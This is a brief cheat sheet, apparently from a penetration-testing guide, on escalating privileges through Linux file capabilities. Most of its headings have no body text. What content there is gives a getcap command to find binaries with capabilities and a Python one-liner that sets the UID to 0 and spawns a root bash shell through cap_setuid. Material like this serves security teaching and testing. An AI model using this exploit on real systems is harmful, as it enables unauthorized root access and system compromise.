Capabilities Abuse
Finding Files with Capabilities
# List all files with capabilities set on the system
getcap -r / 2>/dev/nullCommon Dangerous Capabilities
CAP_SETUID
# If Python has cap_setuid capability
getcap -r / 2>/dev/null | grep python
# Example output: /usr/bin/python3.7 = cap_setuid+ep
# Exploit to get a root shell
/usr/bin/python3.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'CAP_SETGID
CAP_DAC_READ_SEARCH
CAP_DAC_OVERRIDE
Exploitable Binaries with Capabilities
Python with cap_setuid
Perl with Capabilities
Node.js with Capabilities
Other Languages and Binaries
Setting Capabilities (for Educational Purposes)
Viewing Information About Capabilities
Capabilities During Penetration Testing
Additional Resources
Last updated